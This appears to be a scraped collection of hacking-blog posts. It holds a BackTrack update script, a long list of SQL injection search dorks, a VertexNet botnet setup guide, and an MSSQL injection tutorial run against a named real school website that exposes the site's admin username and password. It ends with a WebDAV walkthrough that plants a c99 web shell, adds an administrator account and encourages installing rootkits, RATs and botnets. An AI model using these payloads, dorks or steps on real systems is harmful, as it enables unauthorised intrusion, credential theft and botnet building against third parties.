Script to update BackTrack5 V.: 1.6

The purpose of Bt5up is to update/add and bug fix BackTrack 5 tools.

Compatible with Backtrack 5 R3

Version 1.6 is out see the changelog to read the fixes and addons.

As you can see in the screen it display the version you have installed and the latest version available and the Main Menu with all the different topics to update/install, here is the complete menu:

1. Update and clean Backtrack.

2. Exploit tools.

1.  Metasploit Framework.
2.  Exploit-db.
3.  SET – Social Engineering Toolkit.
4.  Update all.

3. Wireless & Telephony.

1.  Aircrack-ng and Airdrop.
2.  WarVox.
3. WiFite.
4. Dedected.
5. Fern Wifi Cracker
6.  Giskismet.
7.  Update all

4. Web & Database.

1.  W3AF.
2.  Nikto.
3. BeEF
4.  Sqlmap.
5. SQLNinja.
6.  Fimap.
7. JoomScan.
8. WPScan.
9. HexorBase.
10.  Update all.

5. Others.

1.  Nessus.
2. Wireshark
3.  OpenVAS.
4. Nmap
5.  Update all.

6. Update All

7. Update Script

8. Changelog

9. Feedback (Gmail)

10. Fix BT5 Bugs/Customize BT5

1. Startx after login
2. Change Login message(motd)
3. Set PulseAudio to autostart
4. Set Wicd autostart
5. Install FlashPlayer 11

11. Additional Tools

1. Nessus
2. Crypter
3. Ghost Phisher
4. TMNT Project
5. MinidWep-GTK
6. The Mole

Download: bt5up

How to run:

1 2 3

wget http://bl4ck5w4n.tk/wp-content/uploads/2011/07/bt5up.tar tar -xvf bt5up.tar python bt5up.py

You can copy the bt5up.py to /bin/ to make it easy to use it:
cp bt5up.py /bin/bt5up
chmod +x /bin/bt5up

After version 1.5 the script will auto install in /pentest/bt5up and has a symlink to /bin/bt5up , so after the first time you run the script you can just type:

1

bt5up

And thats it!

For more details use:

1

bt5up -h

Hope you enjoy

soruce:  http://bl4ck5w4n.tk/?p=44

Complete SQL injection dorks

check this on:
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id= 
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=

 Sumber : http://zendyhafitra.blogspot.com/

VertexNet Http Botnet Setup

Hello, today i going to show you how to setup VertexNet http botnet 

What you will need: 

VertexNet v1.2.1, you can get one Here
Domain name
Hosting
FileZila [Optional]


Step1. Creating Database 

Login to your Cpanel, scroll down and click MySQL Databases.

Then create database and user [Give all privileges to user]

Spoiler 

Step2. Import SQL File 

Go back to Cpanel, scroll down and click php My Admin.

Spoiler 

Then click on database and import.

Spoiler 

Step3. Web Panel Configuration.
Go to VertexNetv1.2.1\Web Panel\inc and open connection.inc.

Spoiler 

File is self explained

Step4. File Upload
Open FileZila, connect to your ftp create new folder name it vertex and upload all files contained in Web Panel folder.

Part5. Builder

Spoiler 

Others settings is for you to chose.

Greetz to : MicroSoldier

mssql server injection tutorial

This is how i injected mssql server or .aspx.

vul link=http://ogis.edu.in/ViewPhoto.aspx?gid=46

1st way:
Finding version:

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 or 1=cast(@@version as int)

Finding database:

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 or 1=convert(int,db_name())

I will not go for deep about this method.There is already tutorial about it here.

2nd way:
1.Finding no of columns:

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 order by 1-- -

it loads normal.Thats good. 

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 order by 10-- -

output:


so lets reduce it

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 order by 9-- -

Page loads normal.So there are 9 columns.

2. Next we do UnIOn all seLect .
Remember in mssql with aspx you will never get vul columns.You have to find it manually.

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 UNION all SELECT 1,2,3,4,5,6,7,8,9-- -

output:


Dont worry.Now two ways from here.

1 way (easy) : this way will work rarely and its normal injection.

Just change gid=46 to gid=-46.
so injection will be

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=-46 UNION all SELECT 1,2,3,4,5,6,7,8,9-- -

output:


vul col=2
version=

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=-46 UNION all SELECT 1,@@version,3,4,5,6,7,8,9-- -

@@version gives version in mssql . 
Remember version() will not work here.

user=

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=-46 UNION all SELECT 1,user_name(),3,4,5,6,7,8,9-- -

You can also use current_user , user , system_user instead of user_name() .

database=

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=-46 UNION all SELECT 1,db_name(),3,4,5,6,7,8,9-- -

db_name() gives primary database.

Now replace db_name() with db_name(1),db_name(2),..,db_name(n) till you get databases.

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=-46 UNION all SELECT 1,db_name(1),3,4,5,6,7,8,9-- -

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=-46 UNION all SELECT 1,db_name(11),3,4,5,6,7,8,9-- -

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=-46 UNION all SELECT 1,schema_name,3,4,5,6,7,8,9 from information_Schema.schemata-- -

This gives all databases in one.


Tables=

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=-46 UNION all SELECT 1,table_name,3,4,5,6,7,8,9 from information_Schema.tables where table_schema!=db_name()-- -

Here !=db_name() means other than primary database.
So we get tables of other databases. spicy table is o_adminmst.


columns=

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=-46 UNION all SELECT 1,column_name,3,4,5,6,7,8,9 from information_Schema.columns where table_name='o_adminmst'-- -

data=

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=-46 UNION all SELECT 1,username,3,4,5,6,7,8,9 from o_adminmst-- -

username=admin

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=-46 UNION all SELECT 1,password,3,4,5,6,7,8,9 from o_adminmst-- -

pass=admin123#.

2nd way(important) : This way will work with UnIoN in many sites and challenges.
Lets You stuck here :

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 UNION all SELECT 1,2,3,4,5,6,7,8,9-- -

Now replace all columns with NULL
so it will like 

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 UNION all SELECT null,null,null,null,null,null,null,null,null-- -

Now starts replacing every null with convert(int,@@version) or cast(version() as int).

In my case replacing with first null gives answer.

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 UNION all SELECT convert(int,@@version),null,null,null,null,null,null,null,null-- -

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 UNION all SELECT cast(@@version as int),null,null,null,null,null,null,null,null-- -

user=

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 UNION all SELECT cast(user_name() as int),null,null,null,null,null,null,null,null-- -

output=
Conversion failed when converting the nvarchar value 'db_ogis' to data type int. 

You can also use current_user , user , system_user instead of user_name() .

database=

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 UNION all SELECT cast(db_name() as int),null,null,null,null,null,null,null,null-- -

output=
Conversion failed when converting the nvarchar value 'db_ogis' to data type int. 

Tables=

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 UNION all SELECT convert(int,(select top 1 table_name from information_schema.tables where table_schema!=db_name())) ,null,null,null,null,null,null,null,null-- -

output=Conversion failed when converting the nvarchar value 'o_updatemst' to data type int. 

for next table

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 UNION all SELECT convert(int,(select top 1 table_name from information_schema.tables where table_schema!=db_name() and table_name<>'o_updatemst')) ,null,null,null,null,null,null,null,null-- -

output=Conversion failed when converting the nvarchar value 'o_pagemaster' to data type int. 

columns=

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 UNION all SELECT convert(int,(select top 1 column_name from information_schema.columns where table_name='o_adminmst')) ,null,null,null,null,null,null,null,null-- -

Conversion failed when converting the nvarchar value 'adminid' to data type int. 

for next column same as table

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 UNION all SELECT convert(int,(select top 1 column_name from information_schema.columns where table_name='o_adminmst' and column_name<>'adminid')) ,null,null,null,null,null,null,null,null-- -

Conversion failed when converting the nvarchar value 'username' to data type int. 

data=

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 UNION all SELECT convert(int,(select top 1 username from o_adminmst)) ,null,null,null,null,null,null,null,null-- -

Conversion failed when converting the varchar value 'admin' to data type int. 

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 UNION all SELECT convert(int,(select top 1 password from o_adminmst)) ,null,null,null,null,null,null,null,null-- -

Conversion failed when converting the varchar value 'admin123#' to data type int. 

You can use %2b to get username and password at one time.
%2b=+

Code:

http://ogis.edu.in/ViewPhoto.aspx?gid=46 UNION all SELECT convert(int,(select top 1 username%2b'/'%2bpassword from o_adminmst)) ,null,null,null,null,null,null,null,null-- -

Conversion failed when converting the varchar value 'admin/admin123#' to data type int.

 source : http://ultimatehackingarticles.blogspot.com

Hack WebDAV & Deface

Alright guy's today in this tutorial I'll be explaining how to use the webdav exploit. The link for the tools used for this tutorial can be found in the bottom of this tutorial. For those of you who do not know what a Webdav is here is the definition.

Web-based Distributed Authoring and Versioning, or WebDAV, is a set of extensions to the Hypertext Transfer Protocol (HTTP) that allows computer-users to edit and manage files collaboratively on remote World Wide Web servers.

But fo our purpose we will be using it to exploit RDP's or the Remote Desktop Protocal. For a better understanding of these with RDP's they could range from Vp's to Dedi's to just plain old home Pc's, but no matter what it is you will gain full access to the machine and can basically do whatever you want using a shell. For those of you who are new to the hacking scene a shell is a php script that allows you to view all of the files on the server you decide to host the shell on. The most common shells are the c99 or the r57, but in this case we will be using the c99. Now please be aware these are not the only shells available there are several posted throughout the forum and you can find them by simply using the search button located on the navbar. Now before being able to use the shell we have to find some vulnerable Ip's to gain access to for this we will be using the WebdavlinkCrawler which can be found in the webdav tools kit I have provided below here if you don't trust my download links simply don't download them it's that simple. Once you have managed to open the program you will be presented with this interface.

as you can see there is a Start, Stop, and Remove double. All of these terms will be explained later on, but what you are going to want to do is click the start button and it will being to search for the Ip's with webdav in them. Once you have managed to gather some ip's like you see in the picture here

Now please be aware this was only with about 15 seconds of searching and your results may differ depending on your connection speed as well as the amount of time you run the application. After you have all of your Ip's your going to want to click one so it's highlighted and the right click it you will be presented with a popup that looks like this

I have no idea what that actually means,(if someone would like to translate and tell me please feel free.) but what it is doing is copying all of the Ip's you have scanned. After you have scanned all of the Ip's your going to want to paste them in a new word document

once you have done so save it as something you can remember and put it in a convenient location. After you have saved your collected webdav Ip's in a word document your going to want to open the Ip Scanner in the folder. It will look like this

what your going to want to do is click the "Get Ip's" button and browse to your recently saved text file. After you have your ip's in place

your going to want to press the scan button what this is doing is now taking all of your Webdav Ip's and figuring out which one's are vulnerable to this particular exploit. The one's on the right are the ones it scanned and if you happen to get any in the middle those are the one's you can exploit. In my case this time I didn't happen to have any that were open to this exploit because I had a limited amount of Ip's. After you have managed to gather some ip's in the middle column and are ready to exploit the server you can just double check by going to the ip/webdav/ in your browser and Ip being one of the exploited ones you managed to get and your going to be looking for an index page that says Webdav Test page. After you have confirmed it is ready to go your going to want to open "map network drive" this can be found by either right clicking Network or my computer in the start menu.

what your going to want to click on is the hyperlink that reads " Connect to a website that you can use to store your document's and pictures. You will be presented with a screen all you have to do is click next. And the your going to want to click Choose a custom network location.

Now this is the important screen it should look like this

What you have to do is put the Ip/webdav in the text box and click next

you should then be prompted with a login box the default username is wampp and the default password is xampp. Once you have successfully connected you can now browse it's folder's so what you have to do now is just drag and drop the shell.php in side the main directory

After doing so go to ip/webdav/shell.php it should look like the following

Feel free to use that Ip if you are that much of a noob and cannot do anything for yourself. Once you are viewing your shell inside the execute textbox your going to want to do the following commands

net localgroup administrators SUPPORT /Add

What this is doing is making the remote desktop username SUPPORT and the password !password!. So now the last and final step is to open remote desktop and connect using the Ip and the login detail's we have just created. The shell is for you to explore and discover for yourself. Now you may be wondering What can you do once your in?

Answer : 1.You can do so much! Plant Rootkits/ Upload your RAT on the server:D
2. I upload my RAT’s incase they try to take back there dedi.
3. Host a web IRC bot or Shell Booter
4. Store files or host websites or shells
5. Make a Botnet!

TOOLS

http://dl.dropbox.com/u/18083172/Webdav%20tools.rar

source : http://sprawd-tutor.blogspot.com